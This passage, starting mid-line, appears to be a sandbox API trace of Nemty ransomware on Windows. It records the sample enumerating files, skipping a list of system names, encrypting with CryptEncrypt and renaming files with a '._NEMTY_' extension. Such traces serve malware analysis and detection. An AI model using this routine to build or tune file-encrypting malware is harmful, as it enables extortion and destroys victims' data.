lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0063.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 23 [0063.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0063.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 23 [0063.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0063.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0063.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0063.493] Sleep (dwMilliseconds=0x5) [0063.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd97fc250, dwHighDateTime=0x1d561e7)) [0063.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd97fc250, dwHighDateTime=0x1d561e7)) [0063.506] GetLastError () returned 0x12 [0063.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.506] GetLastError () returned 0x12 [0063.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.506] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0063.506] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0063.506] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0063.506] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="bowK5dekJnF/xImfDykWVS3Do4b+S0/wd7h6MTtVp+vNgeyCtOHm/U9DsCGsNf1A\r\nPTL9+NZy4zdpw4RhpJq4o0iGJ1p3/81i6ssDq8hu8msYho6bAWAFK9/YIdmNqDNq\r\nLFjQkjTV1WYgQ6lQP2WwKd6Or1CVYdE5YhYFdKMvxuMk2s4d9b+Ti6ZWYs4IhHN4\r\ngKhVWOehnmwmasroYVzi+gBBCKNq0E92nLZAqXpzzlw2SmchDVItZ0tAPXKzDeK9\r\ndSyWvO3+figneR/FGl9SM2WGojgchN2XCBYSXdatiyh8g2XrJQHRKaSX22MljARQ\r\nkTbeGfcwM6OhYnbhf2zjGQ==\r\n", pcchString=0x653ec5c) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0063.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0063.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0063.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0063.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0063.506] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.507] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0063.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0063.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.621] CloseHandle (hObject=0xffffffff) returned 0 [0063.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0063.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0063.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.622] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.622] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2=".") returned 1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="..") returned 1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="...") returned 1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="windows") returned -1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="rsa") returned -1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="NTDETECT.COM") returned -1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="ntldr") returned -1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="MSDOS.SYS") returned -1 [0063.622] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="IO.SYS") returned -1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="ntuser.dat") returned -1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="programdata") returned -1 [0063.623] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="appdata") returned 1 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="heart_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 25 [0063.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0063.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="heart_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 25 [0063.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0063.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="heart_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 25 [0063.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heart_glass_Thumbnail.bmp", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="heart_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 25 [0063.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0063.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 